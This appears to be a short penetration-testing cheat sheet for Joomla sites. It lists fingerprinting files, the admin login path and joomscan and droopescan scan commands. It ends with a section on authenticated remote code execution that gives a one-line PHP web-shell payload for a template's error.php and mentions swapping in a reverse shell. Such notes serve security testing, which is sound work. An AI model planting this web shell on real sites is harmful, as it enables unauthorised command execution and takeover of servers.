Joomla
Standard pages and folders
License files
/readme.txt/administrator/manifests/files/joomla.xml _/language/en-GB/en-GB.xml/plugins/system/cache/cache.xml
Login pages
/administrator
Resource folder
plugins/plugins/systemtemplates/
Automatic scan tools
joomscan
A tool written in Perl capable of performing several checks on Joomla configuration and detect vulnerable components. Can be downloaded from here
perl joomscan.pl --update #update vulnerable dependencies database
perl joomscan.pl --url <url> #perform base checks
perl joomscan.pl -u <url> --ec #enumerate componentsdroopescan
Limited support for joomla. Can detect version and interesting urls. Can be downloaded from here
droopescan scan joomla --url <url>Authenticated RCE
After obtaining access to the administrative panel it is possible to execute commands on the underlying machine by editing a template page.
Select a template to edit
Append
system($_GET['cmd']);in the error.php page and saveNavigate to
<host>/templates/<template>/error.php?cmd=<cmd>
It is also possible to append the payload to launch a reverse shell and trigger it by visiting the modified page
Last updated